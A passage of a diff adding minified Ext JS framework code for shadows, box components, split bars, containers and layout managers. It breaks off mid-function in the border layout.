case"frame": + c.w = c.h = (e * 2); + c.l = c.t = -e; + c.t += 1; + c.h -= 2; + if (Ext.isIE) { + c.l -= (this.offset - b); + c.t -= (this.offset - b); + c.l += 1; + c.w -= (this.offset + b + 1); + c.h -= (this.offset + b); + c.h += 1 + } + break + } + this.adjusts = c +}; +Ext.Shadow.prototype = {offset:4, defaultMode:"drop", show:function (a) { + a = Ext.get(a); + if (!this.el) { + this.el = Ext.Shadow.Pool.pull(); + if (this.el.dom.nextSibling != a.dom) { + this.el.insertBefore(a) + } + } + this.el.setStyle("z-index", this.zIndex || parseInt(a.getStyle("z-index"), 10) - 1); + if (Ext.isIE) { + this.el.dom.style.filter = "progid:DXImageTransform.Microsoft.alpha(opacity=50) progid:DXImageTransform.Microsoft.Blur(pixelradius=" + (this.offset) + ")" + } + this.realign(a.getLeft(true), a.getTop(true), a.getWidth(), a.getHeight()); + this.el.dom.style.display = "block" +}, isVisible:function () { + return this.el ? true : false +}, realign:function (b, r, q, g) { + if (!this.el) { + return + } + var n = this.adjusts, k = this.el.dom, u = k.style, i = 0, p = (q + n.w), e = (g + n.h), j = p + "px", o = e + "px", m, c; + u.left = (b + n.l) + "px"; + u.top = (r + n.t) + "px"; + if (u.width != j || u.height != o) { + u.width = j; + u.height = o; + if (!Ext.isIE) { + m = k.childNodes; + c = Math.max(0, (p - 12)) + "px"; + m[0].childNodes[1].style.width = c; + m[1].childNodes[1].style.width = c; + m[2].childNodes[1].style.width = c; + m[1].style.height = Math.max(0, (e - 12)) + "px" + } + } +}, hide:function () { + if (this.el) { + this.el.dom.style.display = "none"; + Ext.Shadow.Pool.push(this.el); + delete this.el + } +}, setZIndex:function (a) { + this.zIndex = a; + if (this.el) { + this.el.setStyle("z-index", a) + } +}}; +Ext.Shadow.Pool = function () { + var b = [], a = Ext.isIE ? '
' : '
'; + return{pull:function () { + var c = b.shift(); + if (!c) { + c = Ext.get(Ext.DomHelper.insertHtml("beforeBegin", document.body.firstChild, a)); + c.autoBoxAdjust = false + } + return c + }, push:function (c) { + b.push(c) + }} +}(); +Ext.BoxComponent = Ext.extend(Ext.Component, {initComponent:function () { + Ext.BoxComponent.superclass.initComponent.call(this); + this.addEvents("resize", "move") +}, boxReady:false, deferHeight:false, setSize:function (b, d) { + if (typeof b == "object") { + d = b.height; + b = b.width + } + if (Ext.isDefined(b) && Ext.isDefined(this.boxMinWidth) && (b < this.boxMinWidth)) { + b = this.boxMinWidth + } + if (Ext.isDefined(d) && Ext.isDefined(this.boxMinHeight) && (d < this.boxMinHeight)) { + d = this.boxMinHeight + } + if (Ext.isDefined(b) && Ext.isDefined(this.boxMaxWidth) && (b > this.boxMaxWidth)) { + b = this.boxMaxWidth + } + if (Ext.isDefined(d) && Ext.isDefined(this.boxMaxHeight) && (d > this.boxMaxHeight)) { + d = this.boxMaxHeight + } + if (!this.boxReady) { + this.width = b; + this.height = d; + return this + } + if (this.cacheSizes !== false && this.lastSize && this.lastSize.width == b && this.lastSize.height == d) { + return this + } + this.lastSize = {width:b, height:d}; + var c = this.adjustSize(b, d), g = c.width, a = c.height, e; + if (g !== undefined || a !== undefined) { + e = this.getResizeEl(); + if (!this.deferHeight && g !== undefined && a !== undefined) { + e.setSize(g, a) + } else { + if (!this.deferHeight && a !== undefined) { + e.setHeight(a) + } else { + if (g !== undefined) { + e.setWidth(g) + } + } + } + this.onResize(g, a, b, d); + this.fireEvent("resize", this, g, a, b, d) + } + return this +}, setWidth:function (a) { + return this.setSize(a) +}, setHeight:function (a) { + return this.setSize(undefined, a) +}, getSize:function () { + return this.getResizeEl().getSize() +}, getWidth:function () { + return this.getResizeEl().getWidth() +}, getHeight:function () { + return this.getResizeEl().getHeight() +}, getOuterSize:function () { + var a = this.getResizeEl(); + return{width:a.getWidth() + a.getMargins("lr"), height:a.getHeight() + a.getMargins("tb")} +}, getPosition:function (a) { + var b = this.getPositionEl(); + if (a === true) { + return[b.getLeft(true), b.getTop(true)] + } + return this.xy || b.getXY() +}, getBox:function (a) { + var c = this.getPosition(a); + var b = this.getSize(); + b.x = c[0]; + b.y = c[1]; + return b +}, updateBox:function (a) { + this.setSize(a.width, a.height); + this.setPagePosition(a.x, a.y); + return this +}, getResizeEl:function () { + return this.resizeEl || this.el +}, setAutoScroll:function (a) { + if (this.rendered) { + this.getContentTarget().setOverflow(a ? "auto" : "") + } + this.autoScroll = a; + return this +}, setPosition:function (a, g) { + if (a && typeof a[1] == "number") { + g = a[1]; + a = a[0] + } + this.x = a; + this.y = g; + if (!this.boxReady) { + return this + } + var b = this.adjustPosition(a, g); + var e = b.x, d = b.y; + var c = this.getPositionEl(); + if (e !== undefined || d !== undefined) { + if (e !== undefined && d !== undefined) { + c.setLeftTop(e, d) + } else { + if (e !== undefined) { + c.setLeft(e) + } else { + if (d !== undefined) { + c.setTop(d) + } + } + } + this.onPosition(e, d); + this.fireEvent("move", this, e, d) + } + return this +}, setPagePosition:function (a, c) { + if (a && typeof a[1] == "number") { + c = a[1]; + a = a[0] + } + this.pageX = a; + this.pageY = c; + if (!this.boxReady) { + return + } + if (a === undefined || c === undefined) { + return + } + var b = this.getPositionEl().translatePoints(a, c); + this.setPosition(b.left, b.top); + return this +}, afterRender:function () { + Ext.BoxComponent.superclass.afterRender.call(this); + if (this.resizeEl) { + this.resizeEl = Ext.get(this.resizeEl) + } + if (this.positionEl) { + this.positionEl = Ext.get(this.positionEl) + } + this.boxReady = true; + Ext.isDefined(this.autoScroll) && this.setAutoScroll(this.autoScroll); + this.setSize(this.width, this.height); + if (this.x || this.y) { + this.setPosition(this.x, this.y) + } else { + if (this.pageX || this.pageY) { + this.setPagePosition(this.pageX, this.pageY) + } + } +}, syncSize:function () { + delete this.lastSize; + this.setSize(this.autoWidth ? undefined : this.getResizeEl().getWidth(), this.autoHeight ? undefined : this.getResizeEl().getHeight()); + return this +}, onResize:function (d, b, a, c) { +}, onPosition:function (a, b) { +}, adjustSize:function (a, b) { + if (this.autoWidth) { + a = "auto" + } + if (this.autoHeight) { + b = "auto" + } + return{width:a, height:b} +}, adjustPosition:function (a, b) { + return{x:a, y:b} +}}); +Ext.reg("box", Ext.BoxComponent); +Ext.Spacer = Ext.extend(Ext.BoxComponent, {autoEl:"div"}); +Ext.reg("spacer", Ext.Spacer); +Ext.SplitBar = function (c, e, b, d, a) { + this.el = Ext.get(c, true); + this.el.dom.unselectable = "on"; + this.resizingEl = Ext.get(e, true); + this.orientation = b || Ext.SplitBar.HORIZONTAL; + this.minSize = 0; + this.maxSize = 2000; + this.animate = false; + this.useShim = false; + this.shim = null; + if (!a) { + this.proxy = Ext.SplitBar.createProxy(this.orientation) + } else { + this.proxy = Ext.get(a).dom + } + this.dd = new Ext.dd.DDProxy(this.el.dom.id, "XSplitBars", {dragElId:this.proxy.id}); + this.dd.b4StartDrag = this.onStartProxyDrag.createDelegate(this); + this.dd.endDrag = this.onEndProxyDrag.createDelegate(this); + this.dragSpecs = {}; + this.adapter = new Ext.SplitBar.BasicLayoutAdapter(); + this.adapter.init(this); + if (this.orientation == Ext.SplitBar.HORIZONTAL) { + this.placement = d || (this.el.getX() > this.resizingEl.getX() ? Ext.SplitBar.LEFT : Ext.SplitBar.RIGHT); + this.el.addClass("x-splitbar-h") + } else { + this.placement = d || (this.el.getY() > this.resizingEl.getY() ? Ext.SplitBar.TOP : Ext.SplitBar.BOTTOM); + this.el.addClass("x-splitbar-v") + } + this.addEvents("resize", "moved", "beforeresize", "beforeapply"); + Ext.SplitBar.superclass.constructor.call(this) +}; +Ext.extend(Ext.SplitBar, Ext.util.Observable, {onStartProxyDrag:function (a, e) { + this.fireEvent("beforeresize", this); + this.overlay = Ext.DomHelper.append(document.body, {cls:"x-drag-overlay", html:" "}, true); + this.overlay.unselectable(); + this.overlay.setSize(Ext.lib.Dom.getViewWidth(true), Ext.lib.Dom.getViewHeight(true)); + this.overlay.show(); + Ext.get(this.proxy).setDisplayed("block"); + var c = this.adapter.getElementSize(this); + this.activeMinSize = this.getMinimumSize(); + this.activeMaxSize = this.getMaximumSize(); + var d = c - this.activeMinSize; + var b = Math.max(this.activeMaxSize - c, 0); + if (this.orientation == Ext.SplitBar.HORIZONTAL) { + this.dd.resetConstraints(); + this.dd.setXConstraint(this.placement == Ext.SplitBar.LEFT ? d : b, this.placement == Ext.SplitBar.LEFT ? b : d, this.tickSize); + this.dd.setYConstraint(0, 0) + } else { + this.dd.resetConstraints(); + this.dd.setXConstraint(0, 0); + this.dd.setYConstraint(this.placement == Ext.SplitBar.TOP ? d : b, this.placement == Ext.SplitBar.TOP ? b : d, this.tickSize) + } + this.dragSpecs.startSize = c; + this.dragSpecs.startPoint = [a, e]; + Ext.dd.DDProxy.prototype.b4StartDrag.call(this.dd, a, e) +}, onEndProxyDrag:function (c) { + Ext.get(this.proxy).setDisplayed(false); + var b = Ext.lib.Event.getXY(c); + if (this.overlay) { + Ext.destroy(this.overlay); + delete this.overlay + } + var a; + if (this.orientation == Ext.SplitBar.HORIZONTAL) { + a = this.dragSpecs.startSize + (this.placement == Ext.SplitBar.LEFT ? b[0] - this.dragSpecs.startPoint[0] : this.dragSpecs.startPoint[0] - b[0]) + } else { + a = this.dragSpecs.startSize + (this.placement == Ext.SplitBar.TOP ? b[1] - this.dragSpecs.startPoint[1] : this.dragSpecs.startPoint[1] - b[1]) + } + a = Math.min(Math.max(a, this.activeMinSize), this.activeMaxSize); + if (a != this.dragSpecs.startSize) { + if (this.fireEvent("beforeapply", this, a) !== false) { + this.adapter.setElementSize(this, a); + this.fireEvent("moved", this, a); + this.fireEvent("resize", this, a) + } + } +}, getAdapter:function () { + return this.adapter +}, setAdapter:function (a) { + this.adapter = a; + this.adapter.init(this) +}, getMinimumSize:function () { + return this.minSize +}, setMinimumSize:function (a) { + this.minSize = a +}, getMaximumSize:function () { + return this.maxSize +}, setMaximumSize:function (a) { + this.maxSize = a +}, setCurrentSize:function (b) { + var a = this.animate; + this.animate = false; + this.adapter.setElementSize(this, b); + this.animate = a +}, destroy:function (a) { + Ext.destroy(this.shim, Ext.get(this.proxy)); + this.dd.unreg(); + if (a) { + this.el.remove() + } + this.purgeListeners() +}}); +Ext.SplitBar.createProxy = function (b) { + var c = new Ext.Element(document.createElement("div")); + document.body.appendChild(c.dom); + c.unselectable(); + var a = "x-splitbar-proxy"; + c.addClass(a + " " + (b == Ext.SplitBar.HORIZONTAL ? a + "-h" : a + "-v")); + return c.dom +}; +Ext.SplitBar.BasicLayoutAdapter = function () { +}; +Ext.SplitBar.BasicLayoutAdapter.prototype = {init:function (a) { +}, getElementSize:function (a) { + if (a.orientation == Ext.SplitBar.HORIZONTAL) { + return a.resizingEl.getWidth() + } else { + return a.resizingEl.getHeight() + } +}, setElementSize:function (b, a, c) { + if (b.orientation == Ext.SplitBar.HORIZONTAL) { + if (!b.animate) { + b.resizingEl.setWidth(a); + if (c) { + c(b, a) + } + } else { + b.resizingEl.setWidth(a, true, 0.1, c, "easeOut") + } + } else { + if (!b.animate) { + b.resizingEl.setHeight(a); + if (c) { + c(b, a) + } + } else { + b.resizingEl.setHeight(a, true, 0.1, c, "easeOut") + } + } +}}; +Ext.SplitBar.AbsoluteLayoutAdapter = function (a) { + this.basic = new Ext.SplitBar.BasicLayoutAdapter(); + this.container = Ext.get(a) +}; +Ext.SplitBar.AbsoluteLayoutAdapter.prototype = {init:function (a) { + this.basic.init(a) +}, getElementSize:function (a) { + return this.basic.getElementSize(a) +}, setElementSize:function (b, a, c) { + this.basic.setElementSize(b, a, this.moveSplitter.createDelegate(this, [b])) +}, moveSplitter:function (a) { + var b = Ext.SplitBar; + switch (a.placement) { + case b.LEFT: + a.el.setX(a.resizingEl.getRight()); + break; + case b.RIGHT: + a.el.setStyle("right", (this.container.getWidth() - a.resizingEl.getLeft()) + "px"); + break; + case b.TOP: + a.el.setY(a.resizingEl.getBottom()); + break; + case b.BOTTOM: + a.el.setY(a.resizingEl.getTop() - a.el.getHeight()); + break + } +}}; +Ext.SplitBar.VERTICAL = 1; +Ext.SplitBar.HORIZONTAL = 2; +Ext.SplitBar.LEFT = 1; +Ext.SplitBar.RIGHT = 2; +Ext.SplitBar.TOP = 3; +Ext.SplitBar.BOTTOM = 4; +Ext.Container = Ext.extend(Ext.BoxComponent, {bufferResize:50, autoDestroy:true, forceLayout:false, defaultType:"panel", resizeEvent:"resize", bubbleEvents:["add", "remove"], initComponent:function () { + Ext.Container.superclass.initComponent.call(this); + this.addEvents("afterlayout", "beforeadd", "beforeremove", "add", "remove"); + var a = this.items; + if (a) { + delete this.items; + this.add(a) + } +}, initItems:function () { + if (!this.items) { + this.items = new Ext.util.MixedCollection(false, this.getComponentId); + this.getLayout() + } +}, setLayout:function (a) { + if (this.layout && this.layout != a) { + this.layout.setContainer(null) + } + this.layout = a; + this.initItems(); + a.setContainer(this) +}, afterRender:function () { + Ext.Container.superclass.afterRender.call(this); + if (!this.layout) { + this.layout = "auto" + } + if (Ext.isObject(this.layout) && !this.layout.layout) { + this.layoutConfig = this.layout; + this.layout = this.layoutConfig.type + } + if (Ext.isString(this.layout)) { + this.layout = new Ext.Container.LAYOUTS[this.layout.toLowerCase()](this.layoutConfig) + } + this.setLayout(this.layout); + if (this.activeItem !== undefined && this.layout.setActiveItem) { + var a = this.activeItem; + delete this.activeItem; + this.layout.setActiveItem(a) + } + if (!this.ownerCt) { + this.doLayout(false, true) + } + if (this.monitorResize === true) { + Ext.EventManager.onWindowResize(this.doLayout, this, [false]) + } +}, getLayoutTarget:function () { + return this.el +}, getComponentId:function (a) { + return a.getItemId() +}, add:function (b) { + this.initItems(); + var e = arguments.length > 1; + if (e || Ext.isArray(b)) { + var a = []; + Ext.each(e ? arguments : b, function (h) { + a.push(this.add(h)) + }, this); + return a + } + var g = this.lookupComponent(this.applyDefaults(b)); + var d = this.items.length; + if (this.fireEvent("beforeadd", this, g, d) !== false && this.onBeforeAdd(g) !== false) { + this.items.add(g); + g.onAdded(this, d); + this.onAdd(g); + this.fireEvent("add", this, g, d) + } + return g +}, onAdd:function (a) { +}, onAdded:function (a, b) { + this.ownerCt = a; + this.initRef(); + this.cascade(function (d) { + d.initRef() + }); + this.fireEvent("added", this, a, b) +}, insert:function (e, b) { + var d = arguments, h = d.length, a = [], g, j; + this.initItems(); + if (h > 2) { + for (g = h - 1; g >= 1; --g) { + a.push(this.insert(e, d[g])) + } + return a + } + j = this.lookupComponent(this.applyDefaults(b)); + e = Math.min(e, this.items.length); + if (this.fireEvent("beforeadd", this, j, e) !== false && this.onBeforeAdd(j) !== false) { + if (j.ownerCt == this) { + this.items.remove(j) + } + this.items.insert(e, j); + j.onAdded(this, e); + this.onAdd(j); + this.fireEvent("add", this, j, e) + } + return j +}, applyDefaults:function (b) { + var a = this.defaults; + if (a) { + if (Ext.isFunction(a)) { + a = a.call(this, b) + } + if (Ext.isString(b)) { + b = Ext.ComponentMgr.get(b); + Ext.apply(b, a) + } else { + if (!b.events) { + Ext.applyIf(b.isAction ? b.initialConfig : b, a) + } else { + Ext.apply(b, a) + } + } + } + return b +}, onBeforeAdd:function (a) { + if (a.ownerCt) { + a.ownerCt.remove(a, false) + } + if (this.hideBorders === true) { + a.border = (a.border === true) + } +}, remove:function (a, b) { + this.initItems(); + var d = this.getComponent(a); + if (d && this.fireEvent("beforeremove", this, d) !== false) { + this.doRemove(d, b); + this.fireEvent("remove", this, d) + } + return d +}, onRemove:function (a) { +}, doRemove:function (e, d) { + var b = this.layout, a = b && this.rendered; + if (a) { + b.onRemove(e) + } + this.items.remove(e); + e.onRemoved(); + this.onRemove(e); + if (d === true || (d !== false && this.autoDestroy)) { + e.destroy() + } + if (a) { + b.afterRemove(e) + } +}, removeAll:function (c) { + this.initItems(); + var e, g = [], b = []; + this.items.each(function (h) { + g.push(h) + }); + for (var d = 0, a = g.length; d < a; ++d) { + e = g[d]; + this.remove(e, c); + if (e.ownerCt !== this) { + b.push(e) + } + } + return b +}, getComponent:function (a) { + if (Ext.isObject(a)) { + a = a.getItemId() + } + return this.items.get(a) +}, lookupComponent:function (a) { + if (Ext.isString(a)) { + return Ext.ComponentMgr.get(a) + } else { + if (!a.events) { + return this.createComponent(a) + } + } + return a +}, createComponent:function (a, d) { + if (a.render) { + return a + } + var b = Ext.create(Ext.apply({ownerCt:this}, a), d || this.defaultType); + delete b.initialConfig.ownerCt; + delete b.ownerCt; + return b +}, canLayout:function () { + var a = this.getVisibilityEl(); + return a && a.dom && !a.isStyle("display", "none") +}, doLayout:function (g, e) { + var k = this.rendered, j = e || this.forceLayout; + if (this.collapsed || !this.canLayout()) { + this.deferLayout = this.deferLayout || !g; + if (!j) { + return + } + g = g && !this.deferLayout + } else { + delete this.deferLayout + } + if (k && this.layout) { + this.layout.layout() + } + if (g !== true && this.items) { + var d = this.items.items; + for (var b = 0, a = d.length; b < a; b++) { + var h = d[b]; + if (h.doLayout) { + h.doLayout(false, j) + } + } + } + if (k) { + this.onLayout(g, j) + } + this.hasLayout = true; + delete this.forceLayout +}, onLayout:Ext.emptyFn, shouldBufferLayout:function () { + var a = this.hasLayout; + if (this.ownerCt) { + return a ? !this.hasLayoutPending() : false + } + return a +}, hasLayoutPending:function () { + var a = false; + this.ownerCt.bubble(function (b) { + if (b.layoutPending) { + a = true; + return false + } + }); + return a +}, onShow:function () { + Ext.Container.superclass.onShow.call(this); + if (Ext.isDefined(this.deferLayout)) { + delete this.deferLayout; + this.doLayout(true) + } +}, getLayout:function () { + if (!this.layout) { + var a = new Ext.layout.AutoLayout(this.layoutConfig); + this.setLayout(a) + } + return this.layout +}, beforeDestroy:function () { + var a; + if (this.items) { + while (a = this.items.first()) { + this.doRemove(a, true) + } + } + if (this.monitorResize) { + Ext.EventManager.removeResizeListener(this.doLayout, this) + } + Ext.destroy(this.layout); + Ext.Container.superclass.beforeDestroy.call(this) +}, cascade:function (g, e, b) { + if (g.apply(e || this, b || [this]) !== false) { + if (this.items) { + var d = this.items.items; + for (var c = 0, a = d.length; c < a; c++) { + if (d[c].cascade) { + d[c].cascade(g, e, b) + } else { + g.apply(e || d[c], b || [d[c]]) + } + } + } + } + return this +}, findById:function (c) { + var a = null, b = this; + this.cascade(function (d) { + if (b != d && d.id === c) { + a = d; + return false + } + }); + return a +}, findByType:function (b, a) { + return this.findBy(function (d) { + return d.isXType(b, a) + }) +}, find:function (b, a) { + return this.findBy(function (d) { + return d[b] === a + }) +}, findBy:function (d, c) { + var a = [], b = this; + this.cascade(function (e) { + if (b != e && d.call(c || e, e, b) === true) { + a.push(e) + } + }); + return a +}, get:function (a) { + return this.getComponent(a) +}}); +Ext.Container.LAYOUTS = {}; +Ext.reg("container", Ext.Container); +Ext.layout.ContainerLayout = Ext.extend(Object, {monitorResize:false, activeItem:null, constructor:function (a) { + this.id = Ext.id(null, "ext-layout-"); + Ext.apply(this, a) +}, type:"container", IEMeasureHack:function (k, g) { + var a = k.dom.childNodes, b = a.length, n, m = [], l, h, j; + for (h = 0; h < b; h++) { + n = a[h]; + l = Ext.get(n); + if (l) { + m[h] = l.getStyle("display"); + l.setStyle({display:"none"}) + } + } + j = k ? k.getViewSize(g) : {}; + for (h = 0; h < b; h++) { + n = a[h]; + l = Ext.get(n); + if (l) { + l.setStyle({display:m[h]}) + } + } + return j +}, getLayoutTargetSize:Ext.EmptyFn, layout:function () { + var a = this.container, b = a.getLayoutTarget(); + if (!(this.hasLayout || Ext.isEmpty(this.targetCls))) { + b.addClass(this.targetCls) + } + this.onLayout(a, b); + a.fireEvent("afterlayout", a, this) +}, onLayout:function (a, b) { + this.renderAll(a, b) +}, isValidParent:function (b, a) { + return a && b.getPositionEl().dom.parentNode == (a.dom || a) +}, renderAll:function (e, g) { + var b = e.items.items, d, h, a = b.length; + for (d = 0; d < a; d++) { + h = b[d]; + if (h && (!h.rendered || !this.isValidParent(h, g))) { + this.renderItem(h, d, g) + } + } +}, renderItem:function (d, a, b) { + if (d) { + if (!d.rendered) { + d.render(b, a); + this.configureItem(d) + } else { + if (!this.isValidParent(d, b)) { + if (Ext.isNumber(a)) { + a = b.dom.childNodes[a] + } + b.dom.insertBefore(d.getPositionEl().dom, a || null); + d.container = b; + this.configureItem(d) + } + } + } +}, getRenderedItems:function (g) { + var e = g.getLayoutTarget(), h = g.items.items, a = h.length, d, j, b = []; + for (d = 0; d < a; d++) { + if ((j = h[d]).rendered && this.isValidParent(j, e) && j.shouldLayout !== false) { + b.push(j) + } + } + return b +}, configureItem:function (b) { + if (this.extraCls) { + var a = b.getPositionEl ? b.getPositionEl() : b; + a.addClass(this.extraCls) + } + if (b.doLayout && this.forceLayout) { + b.doLayout() + } + if (this.renderHidden && b != this.activeItem) { + b.hide() + } +}, onRemove:function (b) { + if (this.activeItem == b) { + delete this.activeItem + } + if (b.rendered && this.extraCls) { + var a = b.getPositionEl ? b.getPositionEl() : b; + a.removeClass(this.extraCls) + } +}, afterRemove:function (a) { + if (a.removeRestore) { + a.removeMode = "container"; + delete a.removeRestore + } +}, onResize:function () { + var c = this.container, a; + if (c.collapsed) { + return + } + if (a = c.bufferResize && c.shouldBufferLayout()) { + if (!this.resizeTask) { + this.resizeTask = new Ext.util.DelayedTask(this.runLayout, this); + this.resizeBuffer = Ext.isNumber(a) ? a : 50 + } + c.layoutPending = true; + this.resizeTask.delay(this.resizeBuffer) + } else { + this.runLayout() + } +}, runLayout:function () { + var a = this.container; + this.layout(); + a.onLayout(); + delete a.layoutPending +}, setContainer:function (b) { + if (this.monitorResize && b != this.container) { + var a = this.container; + if (a) { + a.un(a.resizeEvent, this.onResize, this) + } + if (b) { + b.on(b.resizeEvent, this.onResize, this) + } + } + this.container = b +}, parseMargins:function (b) { + if (Ext.isNumber(b)) { + b = b.toString() + } + var c = b.split(" "), a = c.length; + if (a == 1) { + c[1] = c[2] = c[3] = c[0] + } else { + if (a == 2) { + c[2] = c[0]; + c[3] = c[1] + } else { + if (a == 3) { + c[3] = c[1] + } + } + } + return{top:parseInt(c[0], 10) || 0, right:parseInt(c[1], 10) || 0, bottom:parseInt(c[2], 10) || 0, left:parseInt(c[3], 10) || 0} +}, fieldTpl:(function () { + var a = new Ext.Template('
', '', '
', '
', "
"); + a.disableFormats = true; + return a.compile() +})(), destroy:function () { + if (this.resizeTask && this.resizeTask.cancel) { + this.resizeTask.cancel() + } + if (this.container) { + this.container.un(this.container.resizeEvent, this.onResize, this) + } + if (!Ext.isEmpty(this.targetCls)) { + var a = this.container.getLayoutTarget(); + if (a) { + a.removeClass(this.targetCls) + } + } +}}); +Ext.layout.AutoLayout = Ext.extend(Ext.layout.ContainerLayout, {type:"auto", monitorResize:true, onLayout:function (d, g) { + Ext.layout.AutoLayout.superclass.onLayout.call(this, d, g); + var e = this.getRenderedItems(d), a = e.length, b, h; + for (b = 0; b < a; b++) { + h = e[b]; + if (h.doLayout) { + h.doLayout(true) + } + } +}}); +Ext.Container.LAYOUTS.auto = Ext.layout.AutoLayout; +Ext.layout.FitLayout = Ext.extend(Ext.layout.ContainerLayout, {monitorResize:true, type:"fit", getLayoutTargetSize:function () { + var a = this.container.getLayoutTarget(); + if (!a) { + return{} + } + return a.getStyleSize() +}, onLayout:function (a, b) { + Ext.layout.FitLayout.superclass.onLayout.call(this, a, b); + if (!a.collapsed) { + this.setItemSize(this.activeItem || a.items.itemAt(0), this.getLayoutTargetSize()) + } +}, setItemSize:function (b, a) { + if (b && a.height > 0) { + b.setSize(a) + } +}}); +Ext.Container.LAYOUTS.fit = Ext.layout.FitLayout; +Ext.layout.CardLayout = Ext.extend(Ext.layout.FitLayout, {deferredRender:false, layoutOnCardChange:false, renderHidden:true, type:"card", setActiveItem:function (d) { + var a = this.activeItem, b = this.container; + d = b.getComponent(d); + if (d && a != d) { + if (a) { + a.hide(); + if (a.hidden !== true) { + return false + } + a.fireEvent("deactivate", a) + } + var c = d.doLayout && (this.layoutOnCardChange || !d.rendered); + this.activeItem = d; + delete d.deferLayout; + d.show(); + this.layout(); + if (c) { + d.doLayout() + } + d.fireEvent("activate", d) + } +}, renderAll:function (a, b) { + if (this.deferredRender) { + this.renderItem(this.activeItem, undefined, b) + } else { + Ext.layout.CardLayout.superclass.renderAll.call(this, a, b) + } +}}); +Ext.Container.LAYOUTS.card = Ext.layout.CardLayout; +Ext.layout.AnchorLayout = Ext.extend(Ext.layout.ContainerLayout, {monitorResize:true, type:"anchor", defaultAnchor:"100%", parseAnchorRE:/^(r|right|b|bottom)$/i, getLayoutTargetSize:function () { + var b = this.container.getLayoutTarget(), a = {}; + if (b) { + a = b.getViewSize(); + if (Ext.isIE && Ext.isStrict && a.width == 0) { + a = b.getStyleSize() + } + a.width -= b.getPadding("lr"); + a.height -= b.getPadding("tb") + } + return a +}, onLayout:function (m, w) { + Ext.layout.AnchorLayout.superclass.onLayout.call(this, m, w); + var p = this.getLayoutTargetSize(), k = p.width, o = p.height, q = w.getStyle("overflow"), n = this.getRenderedItems(m), t = n.length, g = [], j, a, v, l, h, c, e, d, u = 0, s, b; + if (k < 20 && o < 20) { + return + } + if (m.anchorSize) { + if (typeof m.anchorSize == "number") { + a = m.anchorSize + } else { + a = m.anchorSize.width; + v = m.anchorSize.height + } + } else { + a = m.initialConfig.width; + v = m.initialConfig.height + } + for (s = 0; s < t; s++) { + l = n[s]; + b = l.getPositionEl(); + if (!l.anchor && l.items && !Ext.isNumber(l.width) && !(Ext.isIE6 && Ext.isStrict)) { + l.anchor = this.defaultAnchor + } + if (l.anchor) { + h = l.anchorSpec; + if (!h) { + d = l.anchor.split(" "); + l.anchorSpec = h = {right:this.parseAnchor(d[0], l.initialConfig.width, a), bottom:this.parseAnchor(d[1], l.initialConfig.height, v)} + } + c = h.right ? this.adjustWidthAnchor(h.right(k) - b.getMargins("lr"), l) : undefined; + e = h.bottom ? this.adjustHeightAnchor(h.bottom(o) - b.getMargins("tb"), l) : undefined; + if (c || e) { + g.push({component:l, width:c || undefined, height:e || undefined}) + } + } + } + for (s = 0, t = g.length; s < t; s++) { + j = g[s]; + j.component.setSize(j.width, j.height) + } + if (q && q != "hidden" && !this.adjustmentPass) { + var r = this.getLayoutTargetSize(); + if (r.width != p.width || r.height != p.height) { + this.adjustmentPass = true; + this.onLayout(m, w) + } + } + delete this.adjustmentPass +}, parseAnchor:function (c, h, b) { + if (c && c != "none") { + var e; + if (this.parseAnchorRE.test(c)) { + var g = b - h; + return function (a) { + if (a !== e) { + e = a; + return a - g + } + } + } else { + if (c.indexOf("%") != -1) { + var d = parseFloat(c.replace("%", "")) * 0.01; + return function (a) { + if (a !== e) { + e = a; + return Math.floor(a * d) + } + } + } else { + c = parseInt(c, 10); + if (!isNaN(c)) { + return function (a) { + if (a !== e) { + e = a; + return a + c + } + } + } + } + } + } + return false +}, adjustWidthAnchor:function (b, a) { + return b +}, adjustHeightAnchor:function (b, a) { + return b +}}); +Ext.Container.LAYOUTS.anchor = Ext.layout.AnchorLayout; +Ext.layout.ColumnLayout = Ext.extend(Ext.layout.ContainerLayout, {monitorResize:true, type:"column", extraCls:"x-column", scrollOffset:0, targetCls:"x-column-layout-ct", isValidParent:function (b, a) { + return this.innerCt && b.getPositionEl().dom.parentNode == this.innerCt.dom +}, getLayoutTargetSize:function () { + var b = this.container.getLayoutTarget(), a; + if (b) { + a = b.getViewSize(); + if (Ext.isIE && Ext.isStrict && a.width == 0) { + a = b.getStyleSize() + } + a.width -= b.getPadding("lr"); + a.height -= b.getPadding("tb") + } + return a +}, renderAll:function (a, b) { + if (!this.innerCt) { + this.innerCt = b.createChild({cls:"x-column-inner"}); + this.innerCt.createChild({cls:"x-clear"}) + } + Ext.layout.ColumnLayout.superclass.renderAll.call(this, a, this.innerCt) +}, onLayout:function (e, k) { + var g = e.items.items, j = g.length, n, b, a, o = []; + this.renderAll(e, k); + var r = this.getLayoutTargetSize(); + if (r.width < 1 && r.height < 1) { + return + } + var p = r.width - this.scrollOffset, d = r.height, q = p; + this.innerCt.setWidth(p); + for (b = 0; b < j; b++) { + n = g[b]; + a = n.getPositionEl().getMargins("lr"); + o[b] = a; + if (!n.columnWidth) { + q -= (n.getWidth() + a) + } + } + q = q < 0 ? 0 : q; + for (b = 0; b < j; b++) { + n = g[b]; + a = o[b]; + if (n.columnWidth) { + n.setSize(Math.floor(n.columnWidth * q) - a) + } + } + if (Ext.isIE) { + if (b = k.getStyle("overflow") && b != "hidden" && !this.adjustmentPass) { + var l = this.getLayoutTargetSize(); + if (l.width != r.width) { + this.adjustmentPass = true; + this.onLayout(e, k) + } + } + } + delete this.adjustmentPass +}}); +Ext.Container.LAYOUTS.column = Ext.layout.ColumnLayout; +Ext.layout.BorderLayout = Ext.extend(Ext.layout.ContainerLayout, {monitorResize:true, rendered:false, type:"border", targetCls:"x-border-layout-ct", getLayoutTargetSize:function () { + var a = this.container.getLayoutTarget(); + return a ? a.getViewSize() : {} +}, onLayout:function (g, I) { + var j, B, F, o, x = g.items.items, C = x.length; + if (!this.rendered) { + j = []; + for (B = 0; B < C; B++) { + F = x[B]; + o = F.region; + if (F.collapsed) { + j.push(F) + } + F.collapsed = false; + if (!F.rendered) { + F.render(I, B); + F.getPositionEl().addClass("x-border-panel") + } + this[o] = o != "center" && F.split ? new Ext.layout.BorderLayout.SplitRegion(this, F.initialConfig, o) : new Ext.layout.BorderLayout.Region(this, F.initialConfig, o); + this[o].render(I, F) + } + this.rendered = true + } + var v = this.getLayoutTargetSize(); + if (v.width < 20 || v.height < 20) { + if (j) { + this.restoreCollapsed = j + } + return + } else { + if (this.restoreCollapsed) { + j = this.restoreCollapsed; + delete this.restoreCollapsed + } + } + var t = v.width, D = v.height, r = t, A = D, p = 0, q = 0, y = this.north, u = this.south, l = this.west, E = this.east, F = this.center, H, z, d, G; 